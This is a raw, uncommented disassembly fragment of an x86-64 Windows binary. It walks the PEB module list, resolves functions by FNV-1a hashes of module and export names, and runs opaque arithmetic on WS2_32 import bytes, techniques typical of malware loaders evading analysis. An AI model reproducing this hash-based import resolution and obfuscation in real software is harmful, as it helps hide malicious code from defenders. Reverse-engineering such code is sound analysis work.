mov edx, dword [r10 + 0x1c]
add rcx, r9
add rdx, r9
movzx r8d, word [rcx + rbx*2]
mov edx, dword [rdx + r8*4]
add rdx, r9
cmp rdx, r10
jbe 0x140093c15
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x140093c15
mov edi, r13d
mov esi, r13d
jmp 0x140093b6f
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140093b61
jmp 0x140093b82
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x140093b77
mov r11, qword [r15]
mov rax, qword [r11]
mov r11, rax
cmp rax, r15
je 0x140093ba4
cmp qword [rax + 0x30], 0
jne 0x140093a79
xor r15d, r15d
mov edx, r15d
mov qword [0x1402a3ed0], rdx
mov rcx, qword [0x1402a1d80]
call rdx
mov rdx, qword [0x1402a3ed0]
cmp rdx, r15
jne 0x140093d2b
mov rax, qword gs:[0x60]
mov edi, r15d
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov r11, rsi
movups xmm0, xmmword [r11 + 0x58]
mov r12d, 0x811c9dc5
movd eax, xmm0
sub ax, 8
cmp edi, r15d
je 0x140093c36
psrldq xmm0, 8
mov edx, r12d
movzx eax, ax
movq rcx, xmm0
shr rax, 1
lea r8, [rcx + rax*2]
jmp 0x140093c29
xor r15d, r15d
jmp 0x140093baa
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140093c1a
cmp edx, edi
jne 0x140093d0c
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140093d0c
mov ebx, dword [r10 + 0x18]
cmp ebx, r15d
je 0x140093d0c
mov r15d, dword [r10 + 0x20]
dec ebx
lea rdx, [r9 + rbx*4]
mov r8d, dword [rdx + r15]
mov edx, r12d
add r8, r9
jmp 0x140093c87
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140093c7c
cmp edx, r14d
je 0x140093c9f
test ebx, ebx
jne 0x140093c6a
xor r15d, r15d
jmp 0x140093d0c
mov ecx, dword [r10 + 0x24]
mov edx, dword [r10 + 0x1c]
add rcx, r9
add rdx, r9
movzx r8d, word [rcx + rbx*2]
mov edx, dword [rdx + r8*4]
add rdx, r9
cmp rdx, r10
jbe 0x140093d94
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x140093d94
mov edi, r12d
mov r14d, r12d
jmp 0x140093ce5
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140093cd7
inc rdx
xor r15d, r15d
jmp 0x140093d03
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x140093cf3
mov r11, qword [rsi]
mov rax, qword [r11]
mov r11, rax
cmp rax, rsi
je 0x140093d21
cmp qword [rax + 0x30], r15
jne 0x140093be4
mov rdx, r15
mov qword [0x1402a3ed0], rdx
mov rcx, qword [0x1402a1d88]
call rdx
mov rdx, qword [0x1402a3ee8]
cmp rdx, r15
jne 0x140093ea7
mov rax, qword gs:[0x60]
mov edi, r15d
mov esi, 0x20a0780
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov r11, r14
movups xmm0, xmmword [r11 + 0x58]
mov r12d, 0x811c9dc5
movd eax, xmm0
sub ax, 8
cmp edi, r15d
je 0x140093db5
psrldq xmm0, 8
mov edx, r12d
movzx eax, ax
movq rcx, xmm0
shr rax, 1
lea r8, [rcx + rax*2]
jmp 0x140093da8
xor r15d, r15d
jmp 0x140093d24
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140093d99
cmp edx, edi
jne 0x140093e88
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140093e88
mov ebx, dword [r10 + 0x18]
cmp ebx, r15d
je 0x140093e88
mov r15d, dword [r10 + 0x20]
dec ebx
lea rdx, [r9 + rbx*4]
mov r8d, dword [rdx + r15]
mov edx, r12d
add r8, r9
jmp 0x140093e06
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140093dfb
cmp edx, esi
je 0x140093e1d
test ebx, ebx
jne 0x140093de9
xor r15d, r15d
jmp 0x140093e88
mov ecx, dword [r10 + 0x24]
mov edx, dword [r10 + 0x1c]
add rcx, r9
add rdx, r9
movzx r8d, word [rcx + rbx*2]
mov edx, dword [rdx + r8*4]
add rdx, r9
cmp rdx, r10
jbe 0x14009402c
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x14009402c
mov edi, r12d
mov esi, r12d
jmp 0x140093e63
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140093e55
inc rdx
xor r15d, r15d
jmp 0x140093e7f
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x140093e71
mov r11, qword [r14]
mov rax, qword [r11]
mov r11, rax
cmp rax, r14
je 0x140093e9d
cmp qword [rax + 0x30], r15
jne 0x140093d63
mov rdx, r15
mov qword [0x1402a3ee8], rdx
call rdx
mov ecx, eax
call fcn.1400af1fc
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
call fcn.1400752f4
movsx ecx, al
xorps xmm2, xmm2
lea eax, [rcx + rdx*8]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rbp + 0x48], xmm1
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
call fcn.1400752f4
movsx ecx, al
lea eax, [rcx + rdx*4]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140093f9b
call fcn.1400752ec
movsx edx, al
movsx eax, byte [0x1402a1e80]
imul edx, eax
lea r8d, [rdx + rdx*8]
call fcn.1400752f8
movsx ecx, al
sub r8d, ecx
call fcn.1400752f0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
jne 0x14009403c
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*2]
call fcn.1400752f4
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140094034
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400752f4
movsx ecx, al
xorps xmm0, xmm0
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp + 0x48]
cvttsd2si eax, xmm0
jmp 0x140094037
xor r15d, r15d
jmp 0x140093ea0
mov eax, dword [rbp + 0x48]
cmp r15d, eax
jge 0x14009403e
mov al, 1
add rsp, 0x38
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret